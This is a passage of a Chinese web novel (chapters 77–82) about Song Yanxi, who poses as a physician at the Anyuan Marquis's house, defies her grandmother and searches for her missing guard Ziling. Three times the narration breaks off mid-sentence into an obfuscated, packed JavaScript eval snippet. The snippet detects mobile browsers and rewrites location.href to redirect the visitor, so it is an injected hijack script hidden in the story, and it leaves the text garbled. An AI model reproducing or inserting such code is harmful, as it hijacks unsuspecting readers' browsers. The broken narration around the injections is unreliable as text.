听了柳如风的话之后,冯叔面色一变:“这怎么可以?若是他......” “冯叔是不相信我看人的眼光吗?” 虽然仍然在病中,柳如风这话却也颇有威严。 冯叔动了动嘴皮,最终也只能妥协:“是老奴失礼了,还请神医务必要救救我家世子。” “本神医既然来了,必然是有把握的。” 宋颜夕示意丫鬟替他褪去上衣,从药箱里掏出银针:“接下来,我会为世子施针。在我施针之时,不希望被人打扰。” 就在宋颜夕施针之时,院子里却忽然闯进了十几名持剑的护卫。 那些护卫将站在院子里的南宫景团团围住,手中的长剑直接架在他的脖子上。 南宫景勾了勾嘴角。 他就说这安远侯府怎么这么轻易便让宋颜夕给柳如风治病,原来,是在这等着他呢。 第77章:他可真是个高手 “贵府就是这样招待客人的?” 南宫景说话的声音并不大,想必也是不想让屋内的人分心。 “若是贵客,我等自会好好招待,但若是你们敢动歪心思,进了侯府的门,就别想再活着出去。” 一道清冷的女声自耳边传来,抬头一看,正好看到一个身穿黑衣的年轻女子从柱子后走出。 她手里拿着一把飞刀,说话的时候,飞刀就对准南宫景的眉心。 “听闻锦心公子身边有个贴身护卫,十步外便能取敌人首级,没想到,竟还是个娇滴滴的姑娘。” 见南宫景被利刃架住脖子还风轻云淡的模样,那黑衣女子倒是多瞧了他两眼。 不过,手中的飞刀却是没挪过位置。 “姑娘怎么了?照样能要你的命。” 南宫景指了指屋内:“你确定,要现在对我动手?” 那女子这才将飞刀收了起来,不过,那些护卫的长剑却始终架在南宫景的脖子上。 当宋颜夕施完针,从屋里出来的时候,见到的就是这样的景象。 院子里站了十几个持剑的护卫,他们围成一个圈,手里的剑指向圆心。 不远处,还站了个穿黑衣的姑娘。 那姑娘保持着一个扔飞刀的姿势,只是,飞刀还没来得及脱手就被定住了,整个人如柱子一般杵在那儿。 而南宫景呢,仍旧抓着她扔给他的那面幡旗,慵懒地靠在院子里的梨树下朝她挥手。 “什么情况?” 宋颜夕走到南宫景身边,直接将药箱也扔给了他。 南宫景十分熟练地接过药箱:“府上的下人不懂待客之道,我左右也是闲着,便替安远侯教教他们。” 宋颜夕朝他竖起大拇指。 这男人的实力远超出她的想象,她方才在屋内可没听到外面有打斗的声音。 能悄无声息地点了这么多人的穴道,可见这人的速度有多快。 落后几步走出房间的冯叔也见到了院子里的景象。 他脸色一变,几乎是下意识就要叫人将南宫景拿下。 然而想到出门前柳如风对他说的话,他便又将到了嘴边的话吞了下去。 “不知深浅的东西,竟敢得罪府上的贵客,看来是世子爷平日里太纵着你们了。你们自行领罚去吧。若是再有下次,绝不轻饶。” 将人教训一番之后,冯叔才朝南宫景拱手:“这位高人,您看,能否先放了他们?” 南宫景并未出手替他们解穴,而是轻飘飘说了一句:“穴道一个时辰后自会解开,便当是让他们长长教训。” 说到这儿的时候,南宫景看向那黑衣女子:“想要我的命啊,你还不够资格。” 在那黑衣女子“杀人般”的目光中,南宫景大步流星地朝院子外走去。 宋颜夕轻哼一声,南宫景瞬间停下脚步。 “当小厮就要有小厮的样子,怎么能走在主人前面呢?”经过南宫景身边的时候,宋颜夕用只有两人能听见的声音说了一句。 南宫景后退一步,做了个“请”的姿势。 他们是被冯叔恭恭敬敬地请出侯府的。 离开侯府之后,他们随意找了个茶楼吃饭。 “侯府的人还跟着?”宋颜夕慢条斯理地喝了一口茶,问道。 南宫景点头:“你打算如何处置他们?” “他们爱跟就让他们跟吧。” 反正他们今日的目的就是钓鱼,总得让侯府的人找得到他们才是。 南宫景:“柳如风的病,如何?” “有些棘手,不过,问题不大。” 这话倒是让南宫景对宋颜夕再一次另眼相看:“你能治好他?” 就连太医都对柳如风的病束手无策,这女人竟然说问题不大? “你那是什么表情?不相信我啊?别忘了,当初是谁给你解的毒。” 南宫景喝茶的动作一顿:“你的意思是,柳如风并不是病了,而是,中毒?” “这只是初步判断,具体中了什么毒,还需要进一步诊断。” 宋颜夕的目光从医药箱上一扫而过,那里头有一块帕子,是她从柳如风脸上的毒疮上刮下来的脓。 她需要回去验证一番。 “我今日给柳如风扎了针,他的病情应该会有好转。过不了两日,侯府定会再派人来寻我。” 宋颜夕收回目光,看向街道上熙熙攘攘的人群:“我告诉柳如风,若想寻我,便让人带着红丝绸到城隍庙等我。你那边,可有人可用?” 南宫景点头:“我会派人在城隍庙蹲守。” “嗯,到时,我应该会在侯府住上几日。相府这边我也安排好替身,你便留在相府,尤其是要盯着那个阿贵。” “你打算孤身入侯府?别看安远侯整日笑眯眯的,实际上,心眼子多着呢。我再派个人跟着你吧。” 宋颜夕看向南宫景:“怎么,何二哥这是在担心我?” “是啊,我担心你把事情搞砸了。毕竟,这可是一桩大生意。” “切,就知道你没这么好心。” 宋颜夕起身,伸了个懒腰:“你确定,你派来的人能听我的?” “这个你尽管放心,我会交代清楚。” “那便让他跟着吧。” 宋颜夕不会矫情得拒绝南宫景的提议,毕竟,她对安远侯府并不了解。万一那地方是个龙潭虎穴,身边有个帮手也不是坏事。 至于紫翎带来的那些人,她还另有安排。 和来时一样,他们用金蝉脱壳之法让替身领着侯府那些人去了城郊。 而他们则在成衣店和紫翎汇合,大摇大摆地回到相府。 刚走到门口,就见何花朝她招手。 “姑娘,老夫人回来了,点名要见你呢。” 老夫人? 宋颜夕想了想,这才想起这府中的确是有这么一号人物。 宋章的母亲,前些日子身子不适,到城外的山庄养病去了。 “不是说老夫人要年前才会回来吗?怎么回来得这么早?” 何花摇摇头,却还是低声提醒了一句:“给老夫人请安的时候,姑娘可注意些,莫要惹怒了她。” 宋颜夕点了点头,让其他丫鬟将采买的东西搬回去,转身就朝老夫人的院落走去。 南宫景和紫翎想要跟她进去,却在门口被一个老嬷嬷拦下了。 “老夫人有令,让二姑娘一个人进去。” 宋颜夕朝他们使了个颜色,抬脚走了进去。 刚走进去,门就被人关上了。 第78章:老夫人 “你就是宋彩衣?” 屋内的视线有些暗,宋颜夕还没看清那所谓的老夫人究竟长什么模样,一道苍老的声音就在前方炸开。 宋颜夕慢悠悠往前走了两步,朝坐在上首的那人福了福身:“孙女见过祖母。” 老夫人却是直接冷哼一声,朝暗处勾了勾手,道: “你便是这样拜见祖母的吗?果然是乡下来的,一点规矩都不懂。来人呐,给她立立规矩。” 很快,黑暗中就冲出三个题型彪壮的嬷嬷。 她们一左一右抓着宋颜夕的胳膊,另一人二话不说,抬起手就往宋颜夕脸上打去。 宋颜夕冷笑一声。 这情景,还真是似曾相识啊。 不过这几个人的力气倒是比宋婉儿院子里那几个大了许多。 但在她面前,还是不够看。 她嘴角微微勾起,依样画葫芦在那两个嬷嬷脚背上重重踩了下去。 然后,趁着那两人呼痛的功夫,直接弯腰躲了过去。 “啪~” 响亮的巴掌声在空荡荡的房间荡漾开去。 “竟然还敢躲?你们这两个蠢货还愣着干什么?还不快抓住她。” 老夫人一声令下,那三个胖嬷嬷就一齐朝宋颜夕身上抓来。 【就凭你们这几个老家伙也想抓我?】 宋颜夕眸光一闪,脚已经朝其中一人踢去。 那人被她一脚踹飞在地,摔在地上的时候,还绊倒了另外一人。 眼见那两人如叠罗汉一般挤压在一起,宋颜夕直接将第三个人也撞了上去。 那一刻,屋子里哀嚎声一片。 “反了反了!” 老女人“刷”地从座位上站了起来,食指指向宋颜夕,哆嗦半天也只说出这四个字。 宋颜夕拍了拍手,直接一屁股坐到最上面那个嬷嬷的背上。 “祖母莫要生气,若是气坏身子瘫在床上,受苦的还是您自己。” “你……你竟敢诅咒我……” “孙女是在关心祖母啊,祖母难道听不出来吗?” 宋颜夕一边说,一边把玩着自己的手指:“他们都说彩衣与祖母命格相冲,所以啊,祖母还是安安稳稳地待在您的青松院,没事的话,咱们就别见面了。否则,孙女可不敢保证会发生什么。” 说完这句话之后,宋颜夕起身朝屋外走去。 只留下三个咿咿呀呀喊疼的老嬷嬷,以及被气得倒在椅子上的老夫人。 “姑娘,老夫人没为难你吧?” 刚出门,紫翎就迎了上来。 宋颜夕冲她眨了眨眼:“就凭她,也想为难你家姑娘?” 紫翎会心一笑:“可需要奴婢做些什么?” “跳梁小丑罢了,且让她们蹦跶去吧。” 若是刚来府里那会儿,她或许还会碍于形势与老夫人虚与委蛇。 但如今情况不同,有大长公主和安远侯这层关系在,她便是直接和老夫人撕破脸,宋章也不会对她怎么样。 他们离开之后没多久,青松院便乱成一团。 当宋章领着姜淑萍怒气冲冲地跑过来质问宋颜夕的时候,她正在屋子里大快朵颐。 “你这不孝女,把祖母气成这样,竟然还能心安理得地在这用膳?” 宋颜夕慢条斯理地擦了擦嘴角的油渍:“父亲这是何意?祖母可是身子不适?女儿去请安的时候,她还好好的啊。” “彩儿啊,你到底对老夫人说了什么?你去离开青松院之后,老夫人就病倒了。” 宋颜夕眼中泛起泪光:“连母亲也觉得是彩儿将祖母气倒的吗?可是,彩儿真的什么都没做啊。反倒是祖母身边的嬷嬷瞧不上彩儿。从彩儿进入青松院的时候就开始,她们不由分说就开始殴打彩儿。” 宋颜夕一边说,一边挽起袖子,露出手臂上青紫色的伤痕。 “彩儿原本是不想说的,可事到如今,却也不得不说了。若祖母当真不喜欢彩儿,大可直接将彩儿送回乡下。这忤逆不孝的罪名,彩儿可担当不起。” 看着那触目惊心的伤痕,方才还怒气冲冲的宋章瞬间变了脸色。 就连姜淑萍的眼中都闪过诧异之色。 老夫人不喜欢宋彩衣她是知道的,但她没想到,老夫人竟然真的会直接对宋彩衣下这么重的手。 “你这伤,都是那些不长眼的奴才打的?”宋章的声音有些沉。 宋颜夕没有开口,脸上我的表情却已经说明一切。 当宋章怒气冲冲地离开的时候,躲在暗处的南宫景忍不住扯了扯嘴角。 这女人的演技,是越发炉火纯青了。 “戏看够了吗?看够了就滚进来。” 宋颜夕站在窗户上敲了敲,南宫景立刻翻窗而入。 紫翎虽然诧异宋颜夕竟然让这个男人进入她的闺房,却还是低着头退了出去。 离开的时候,还带上了房门。 南宫景直接在桌子旁坐下,看到桌上只备了一份碗筷,蹙了蹙眉。 这女人,竟然没给他准备饭菜? “怎么这副表情?” 看着宋颜夕毫无心理负担地继续吃饭,南宫景更气了。 “宋姑娘,有件事我想我要提醒你。” “嗯,你说。” “咱们现在也算是同盟关系,希望你能给我最起码的尊重。” 宋颜夕夹了一块瘦肉塞进嘴里:“我一直挺尊重你的呀。” “你管这叫尊重?” 南宫景一把夺过她手中的筷子:“跟你说话呢,吃什么吃。” “夺人食物犹如杀人父母啊,我警告你,赶紧把筷子还给我。” “还给你,可以啊,你让他们给我准备一副碗筷。” 宋颜夕原本鼓着腮子,听了这句话,差点笑出声来:“所以,你说我不尊重你,就是因为这个?我院子里是没给你们准备膳食吗?” 南宫景轻哼一声:“你让我吃那样的东西?” 都是些冷了馊了的馒头,伙食还不如在小樟村的时候呢。 见南宫景一脸嫌弃的样子,宋颜夕这才开始正视这个问题。 询问之下,她顿时怒气冲冲地往外走。 堂堂相府,怎么可能会让下人吃馊馒头?必然是有人在背后使坏。 好啊,竟然敢在她眼皮子底下欺负她的人,真是不把她这个主子放在眼里了。 “喂,你去哪儿啊?”南宫景喊了一句。 宋颜夕撸起袖子,转身抓着南宫景的手腕就往外走:“走,本小姐给你出气去。” 刚走到门口,紫翎忽然从门外推门而入。 宋颜夕一时不察,被撞得后退两步。 后退的时候,绊到南宫景的脚,整个人朝地上栽倒过去。 南宫景伸手去拉她,却被她抓着衣领一起摔了下去。 “砰!” 电光火石之间,双唇的碰触猝不及防。 第79章:发现端倪 紫翎踏进房门的时候,看到的就是这样一幕。 宋颜夕仰面躺在地上,手里抓着南宫景的衣领。 而南宫景呢,整个人趴在宋颜夕身上,双手撑着地面。 二人的唇,紧紧贴在一起。 如果忽略南宫景那黝黑的脸以及露出来的那颗大黑痣,这会是一个很和谐的画面。 震惊只是片刻,当紫翎回过神来的时候,南宫景已经从宋颜夕身上离开。 而宋颜夕呢,有些不自然地扭过头看向紫翎。 “下次进门之前,记得敲门。” “哦” 紫翎有些呆愣地点了点头,脑中闪过一个念头。 她赶紧跑到宋颜夕身边,贴在她耳边说了几个字。 宋颜夕脸色一变:“消息确认了吗?” “**不离十。” 宋颜夕原本想开口的,想到屋里还站着另一个人,又将话压了下去。 “我与紫翎有话要说,你若是饿了,便自己去买些吃的吧。” 说着,她将一锭碎银子塞到南宫景手里。 南宫景不免觉得新鲜,这还是头一回见这女人如此大方。 紫翎到底和她说了什么? 莫非,与西菱有关? 南宫景离开之后,宋颜夕将紫翎拉到一边。 “你确定,是从西菱皇宫逃出来的?” 紫翎将一张纸条塞到宋颜夕手里:“姑娘请看。” 宋颜夕快速将上面的内容看完,然后,用烛火烧了那张纸。 自从她出事之后,巫黛以各种理由将她的心腹一一抹杀。 若不是为了利用紫翎挑起两国战事,怕是连紫翎也难逃一劫。 不过就在前几日,他们的人从一个富商的女眷中发现了一个人。 那人手臂上有西菱暗卫的标记。 西菱暗卫有不同分支,每一个分支都有各自的标记。 那个女人手臂上的标记,与紫翎身上的一样。 “你说,她会是谁呢?” 紫翎摇摇头:“那人应该是易了容。若非被那富商的其他女眷撕破袖子,我们的人也无法发现她的身份。” “可查出了富商的身份?” …… 与此同时,拿着银子翻墙而出的南宫景也收到了同样的消息。 “西菱暗卫?” 南宫景钻进马车,接过段恒手里的情报。 段恒朝南宫景拱了拱手:“属下已经查过,那是江南来的米商,姓董。至于那位女眷,据说是董老板新收的小妾,十分受宠。” “把她带过来,本王要亲自审问。” “是!” 南宫景又吩咐了几句,段恒都一一应下。 良久,段恒从格子里取出一个食盒,不知那暗格里加了什么,食盒竟还是温热的。 “王爷定是吃不惯相府的东西,白栀妹妹做了些膳食托属下带给王爷。” 南宫景看了那食盒一眼,随即又将手收了回去。 他从怀里掏出一锭银子,用食指轻轻摩挲着:“本王今日讨了赏金,自然是下馆子去。” 段恒揉了揉后脑勺,就这么一锭碎银子能买什么? 为什么王爷看起来很开心的样子? 第二天,段恒和紫翎同时找到了那个江南的富商——董老板。 董老板在城东包了一间三进的宅院,此刻,他正带着他的夫人以及一众小妾在院子里听曲。 屋顶上,同样穿着夜行衣的段恒和紫翎面面相觑。 段恒:“你是何人?” 紫翎:“与你无关!” 他们同时看向被董老板搂在怀里的那个绝色美人。 然后,纷纷从对方眼中看到了志在必得的神色。 段恒:“不管你是为什么而来,我劝你放弃你的想法。” 紫翎:“这也是我想对你说的,我看中的东西,谁都不准跟我抢。” 段恒:“那就各凭本事了。” 就在他们在屋顶对峙的时候,宋颜夕也收到了安远侯府的信息。 “竟然这么快就找来了,看来,你昨日的施针颇有成效。” 南宫景站在宋颜夕身后五步之外,和她保持着“安全”距离。 宋颜夕转身看了他一眼:“站那么远做什么?别忘了你现在还是个哑巴。” 南宫景指了指自己的唇:“宋姑娘如狼似虎,在下可不敢靠得太近。” 想到昨日之事,宋颜夕耳朵一红:“你在胡说什么?那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266812|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个意外。” “哦?是吗?” 而且,南宫景在说这句话的时候,眼中还带着一种无言的控诉。 这三个字拉得很长,莫名让宋颜夕生出一种负罪感。 她轻咳一声,转移话题:“你一会儿就随我一同出门。按咱们之前说好的,你和替身一同回来。若是府中有急事,你让紫翎来侯府找我。” “好。” 见南宫景没再提那件事,宋颜夕松了一口气。 快要抵达侯府的时候,她被一个年轻男子拦住去路。 这人她曾经在画像上见过,就是那个被吕刚通缉的“乱党”。 “在下林昊,见过宋姑娘。” “林昊?” 宋颜夕打量着他:“你与何越是什么关系?” “主仆关系。” 林昊从怀中掏出一块面具戴上:“我们家公子命我好好保护姑娘,姑娘想做什么,尽管放手去做。” 宋颜夕点头:“公子?” 这称呼倒是文雅。 她还以为,山贼之间,应该是称呼“大当家”或者“大哥”之类的。 “既然如此,你便好好跟着我吧,不该问的别问,懂吗?” “姑娘放心,规矩我都懂的。” 宋颜夕满意地点了点头。 当他们来到安远侯府的时候,门口已经有小厮在等着。 见了乔装以后的宋颜夕,那些人立刻将宋颜夕恭恭敬敬地迎了进去。 “神医啊,你可算是来了。” 刚踏进府门,冯叔就一路小跑着迎了上来。 眼见他就要抓住她的手,宋颜夕后退一步,与他拉开距离:“冯管家今日的态度倒是与昨日判若两人。” 冯叔自觉失礼,尴尬一笑:“自从昨日施针之后,我家世子的身子好了许多。还请神医能在府上住下,只要能治好我家世子,侯府定有重谢。” 宋颜夕捋了捋胡子:“既然如此,还请冯管家前面带路。” 来到柳如风院外的时候,冯叔忽然看向林昊。 “高人今日怎么戴了面具?” 而且,眼前这人的身形与昨日那位似乎有所不同。 不知想到什么,冯叔一脸警惕地看向林昊。 第80章:谁在骂我 “怎么,冯管家对我身边的人很感兴趣?他是说,你还在怀疑本神医?是这样的话,这病不治也罢。” 冯叔愣了一下。 随即,他一脸歉意地冲宋颜夕笑了笑:“是老奴失言了,神医快请进。” 和昨日一样,宋颜夕给柳如风治病,林昊守在屋外。 没过多久,林昊突然觉得背后有一道阴冷的目光在盯着他。 一转身,就看到一个黑衣女子站在不远处把玩着飞刀。 “真是奇怪,这女人的目光为何如此凶狠?” 林昊摸了摸下巴,他好像并没得罪过这个女人吧。 不过尽管如此,那女人却始终没有对他出手。 林昊耸了耸肩,双手抱胸靠在柱子上。目光重新看向屋子的方向。 屋内,宋颜夕坐在床前替柳如风诊脉。 虽然脉象依旧虚弱,咳嗽倒是比昨日少了一些。 “有劳神医跑一趟了。” 今天,柳如风并未将床幔放下,显然是宋颜夕昨日那番话起了作用。 宋颜夕朝他点了点头:“只要世子出得起报酬,老夫也是不介意多跑几趟的。” 柳如风愣了一下,似乎没想到宋颜夕会直接向他索要报酬。 “这是应该的,神医需要多少银子,尽管与冯叔说便是。” “这个,冯管家怕是做不了主。” 宋颜夕这话一出口,柳如风便了然:“看来,神医想要的并非银钱。” “自然是比银钱更重要的东西,不过世子大可放心,我索要的这样东西,不会有损侯府利益。至于是什么东西,等我将您治好以后再告知世子。” 冯叔正要开口,就见柳如风冲他摇了摇头。 “好,神医的这个条件,本世子应允了。” “世子果然爽快。” 达成协议之后,宋颜夕便认真给他医治。 这一次除了针灸之外,还加了按摩。 按摩需一日三次,冯叔便给她和林昊安排了距离柳如风房间不远处的两间厢房。 当她成功在安远侯府住下的时候,梧桐苑迎来了几位不速之客。 “宋彩衣,你真是好大的胆子啊。竟敢在你父亲面前污蔑我。” 老夫人怒气冲冲地冲进梧桐苑,指着替身“宋颜夕”的鼻子破口大骂。 一同进来的还有刘云香和宋娇娇。 南宫景站在“宋颜夕”身后不为所动。 他倒要看看,这个替身有几分能耐。 此时,外出做任务的紫翎还没回来,陪在“宋颜夕”身边的,是一个叫春分的丫鬟。 “宋颜夕”朝老夫人福了福身:“祖母这话是什么意思,彩儿何时污蔑祖母了?” 虽是假的,说话的口吻与声音竟然与宋颜夕几乎一模一样。 而且,连神态动作都模仿得惟妙惟肖。 “哦,彩儿想起来了。您说的是那三位嬷嬷殴打孙女的事吗?” “你还有脸说这事儿!我且问你,我何时让人在你身上打出伤来了?” “宋颜夕”低垂着眸子:“祖母的确不曾让人在我身上打出伤来。当时,祖母说的是我‘怎么痛怎么来,但千万不要在我身上留下任何伤痕’” 说着,宋颜夕抬头撸起袖子,眼中满是委屈:“对不起祖母,彩儿当时应该乖乖挨打,不该反抗的。若非如此,也不会弄得这满身的伤。” “宋彩衣,都这个时候了,你竟然还在污蔑祖母。不敬长辈可是大罪,你要是识相的就乖乖下跪认错,或许,祖母还能饶你一命。” 宋娇娇跳出来的时候,刘云香下意识想要拉住她,可是已经来不及了。 果然,“宋颜夕”立刻看向宋娇娇:“四妹妹这话说得好没道理,我何时不敬长辈了。难道我这一身的伤还是自己弄出来的不成?” “哼,腌臜**的东西,谁知道你上哪儿弄的这一身伤,但你想将脏水泼到老身身上,便是不知死活。来人呐,把这嘴贱的丫头给我拖下去重打二十大板,让她长长记性。” 南宫景还在看热闹,一旁的阿贵却是冲了上去。 “不行,你们不能对二姑娘动手。” 南宫景扫了阿贵一眼,这个时候跳出来,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283764|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,是真的立功心切啊。 只可惜他打错了算盘,他想要讨好的那人,此刻正在安远侯府当梁上君子呢。 正在安远侯府偷偷摸摸行动的宋颜夕打了个喷嚏。 【奇怪,又是哪个乖孙子在背后骂我?】 “真是什么主子就有什么奴才,区区贱奴也敢在老身面前放肆。把他给我拖下去,一起打。” 老夫人一声令下,屋外瞬间冲进来好几个彪形大汉。 “祖母不能打我。” “宋颜夕”上前一步,从怀中掏出大长公主府的令牌,“若是将我打伤了,你们如何跟大长公主交代?” “拿大长公主压我是吧?看清楚了,这儿是丞相府,在这个家里,我才是你们的天。还愣着干什么?赶紧动手。” 阿贵张开双臂挡在“宋颜夕”身前,一副慷慨赴死的模样。 “姑娘放心,只要阿贵还有一口气,就一定会护你周全。” “宋颜夕”扯了扯嘴角,这人莫不是有什么大病? 这种小场面,跟她讲什么生死? 不过,既然有人冲锋在前,她倒也乐得自在。 而且宋颜夕说过,这个阿贵居心不良。她正好借此机会给这家伙一点教训。 如此想着,“宋颜夕”索性在阿贵肩膀上拍了拍:“既然如此,本姑娘的安危就系在你身上了。只要你今日帮本姑娘度过此劫,等他日我嫁进侯府,定许你享不尽的荣华富贵。” 有了她这句话,阿贵像是打了鸡血一般直接朝那些护卫冲了过去。 哪怕一对多,阿贵竟然也没能落了下风。 “不得不说,这个阿贵还颇有些身手啊。” “宋颜夕”和春分对视一眼,都从对方眼中看到了警惕之色。 这个阿贵,看来并没有他们想象中那么简单。 另一边,段恒和紫翎已经从别院打到了竹林里。 段恒手中的长剑指向紫翎:“能在我手下过这么多招,可真是不简单啊。你到底是什么人?” 紫翎二话不说,拎着剑就朝他身上刺去:“你不配知道。” 第81章:糟糕,被暗算了 紫翎是暗卫出身,而且为了能够拥有站在女帝身边的资格,她曾自请参与龙渊谷试炼。 她能够从千人中脱颖而出,靠的就是那股不怕死的劲儿。 是以,她的每一招都是杀招。 而且,只攻不守。 “你这是什么打法?” 段恒被她打得节节败退,就在紫翎划破他手臂的时候,他手中的剑也刺向她的肩膀。 “你管我什么打法?能**就行。” “等等!” 眼见紫翎又要向她刺来,段恒赶紧出声喊停。 “咱们再这样打下去,对谁都没有好处。不如咱们打个商量?你也不想任务没完成就把命丢在这吧?” 紫翎斟酌片刻,缓缓收起剑:“你想怎样?” “既然你我目的一致,不如联手,如何?” “不行!” 紫翎想都没想就拒绝了。 她连对方是谁都不知道,怎么可能和他联手? “你不信任我?” “想让我与你合作,不如你告诉我,你是什么人?想从董老板身上得到什么?” 段恒转了转眼珠子:“我自然是为了董老板的钱,你难道不是吗?” “为了钱?” “董老板可是江南最大的米商,而且此次上京带了不少银钱,若是能捞上一笔,下半辈子就不用愁了。” 紫翎暗忖:还以为对方也是冲着那个“女眷”来的,没想到,竟然只是个觊觎董老板钱财的小贼。 不过,这小贼的功夫未免也太高了一些。 “你的名字?” 段恒扫了周围的竹林一眼,口胡诌:“**竹” **竹? 紫翎在脑子里想了一遍,这个名字倒是陌生。 “好,我答应与你合作。” 说完,她又加了一句:“咱们一同将董老板的银钱偷出来,到时,你我五五分账。” 段恒勾了勾嘴角:“成交!” 当他们再次回到董老板的住处,歌舞表演已经结束。 此时此刻,董老板正正和他的那些女眷们饮酒做乐。 “姑娘,你去引开他们,我潜入库房。” “不行。” 紫翎指了指董老板的方向:“你去引开他们。” 段恒耸了耸肩:“也行。不过你可不许耍赖啊,得手之后,你我五五分账。” “放心,本姑娘绝不赖账。” 反正她的目标根本就不是那些银钱,既然没有银钱,自然也就没什么要分给他的。 她抓了那女眷就跑,就不信这**竹还能找得到她。 当段恒持剑冲下去的时候,院子里瞬间乱成一团。 刚刚还在作乐的人四处逃窜,董老板则抓着那“美妾”的手朝门口的方向跑去。 紫翎瞄准目标,立刻追了上去。 她只用了一招就把那董老板踹晕在地。 她快步走到那女子身边,道:“快,跟我走!” 那“美妾”后退一步,警惕地看着蒙面的紫翎:“你是谁?” “我自然是救你的人,不想死就赶紧跟我走。” 听着身后越来越近的的脚步声,紫翎直接抓住她的手:“没时间了,快走。” 然而她的手才抓到那女子,忽然觉得胸前一疼。 低头一看,那女子手中我这一把**。 此刻,**正深深扎进她的身体里。 “你,你不是......” 晕过去之前,她清晰地看到那女子眼中闪过的冰冷杀意。 ...... “怎么了宋姑娘?” 正在安远侯书房里找线索的宋颜夕忽然捂住心口。 林昊扶了她一把,这才让她稳住身形。 宋颜夕摇了摇头:“没事,咱们抓紧时间。” 她将心头那种异样的感觉压下,继续寻找木盒子。 然而他们二人将书房翻了个遍都毫无发现。 这一次,宋颜夕在安远侯府住了整整三天。 三天之后,柳如风不再咳血,宋颜夕也提出辞行。 “神医这便走了吗?” 宋颜夕将针包放进药箱里:“我已经留下药方,世子按时服药便可,五日后,我会再上门为您施针。” 柳如风还想说什么,不过,最终还是什么都没说。只是让冯叔将她送出府。 出门的时候,冯叔将一张银票塞到宋颜夕手里:“我家世子的病,便仰仗神医了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283765|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好说好说。” 宋颜夕毫无心理负担地收下那一千两银票,在冯叔的注目礼中转身离去。 她原本就与紫翎约了时间今日回府的。但在约定地点等了很久都不见紫翎。 “你轻功怎么样?” 宋颜夕转身问了一句。 林昊点头:“尚可。” “可能翻过丞相府的墙头不被人察觉?” “宋姑娘是让在下直接将您送进相府?” 林昊有些犹豫,带着一个人翻墙而过于他而言并不难。 但这人是和他家王爷拜过堂的宋颜夕,他便有些不敢了。 “做不到便罢了,我再另想办法。” “我带你进去。” 南宫景的声音响起的时候,宋颜夕和林昊都愣了一下。 转身一看,就见“阿呆”打扮的南宫景从二楼走了下来。 “怎么是你来接我?紫翎呢?” 南宫景朝林昊挥了挥手,林昊拱手退下。 “紫翎,失踪了。” “什么?” 南宫景告诉宋颜夕:“就在你进入安远侯府的那日,紫翎便不见了。你可是给她安排了其他任务?” 宋颜夕面色凝重。 她交给紫翎的任务只有一个,就是把那个董老板的“女眷”带到他们在上京城的秘密据点。 紫翎失踪三天,莫非是出了意外? “先别急。” 南宫景安慰道:“我已经查过了,近日上京城并没有发生命案。或许,她只是被什么事情耽搁了。” 宋颜夕却并没有因此放下心来。 紫翎的性子她再清楚不过,约定好的事,她不会轻易食言。 如今这样,怕是……真出了意外。 “不行,我得去看看。” 宋颜夕将脸上的假胡子摘下,转身朝屋外走去。 “上京城这么大,你要去哪儿找她?” 宋颜夕转身看向他:“你可知,江南来了个姓董的米商?” 南宫景捏了捏手指:“宋姑娘何时又对米商感兴趣了?” “自然是有大买卖。” 宋颜夕冲他挑眉一笑:“有一桩发财的生意,不知何二哥有没有兴趣?” 第82章:水榭下的地牢 当宋颜夕和南宫景乔装来到梅园的时候,那儿已经围满了人。 “你确定那位董老板会在这儿?” 南宫景点头:“错不了的,那董老板做事十分高调,今日这品酒会便是他举办的。” 有一件事南宫景没有告诉宋颜夕。 三天前失踪的不仅仅是紫翎,还有段恒。 段恒的本领他很清楚,不过是从一介商人手中带走一个人而已,他断然没有失手的可能。 除非,他们掌握的消息有误。 他猜测紫翎的失踪也与此事有关,故而才会在祥云客栈等着宋颜夕。 宋颜夕和南宫景的想法一样,所以,当她的目光落在梅园那些人身上的时候,眼中闪过一道冷芒。 若她没有猜错的话,紫翎应该是落入敌人的陷阱了。 这个董老板,肯定不仅仅是米商这么简单。 “来了。” 南宫景的声音在耳边响起,顺着他的目光看去,宋颜夕看到一个身材微胖的中年男人在七八个美人的簇拥下朝着梅园最中心的台子走去。 “感谢诸君赏脸参加此次品酒会。董某初到上京城,若是招待不周,还请诸位多多包涵。美酒已备好,诸位尽管敞开了吃喝。” 董老板在台上讲了几句话之后,品酒会便正式开始了。 圆台下方,数十张方桌拼接在一起。桌上摆放的酒坛子形状各异,打开酒塞子的时候,浓浓的酒香扑鼻而来。 宋颜夕深深吸了一口:“倒是好酒。” 南宫景侧身瞧了她一眼:“宋姑娘这酒量,还想着喝酒呢?” 宋颜夕不明所以:“你这是什么意思?我不是跟你说过,我千杯不醉吗?” 南宫景扯了扯嘴角。 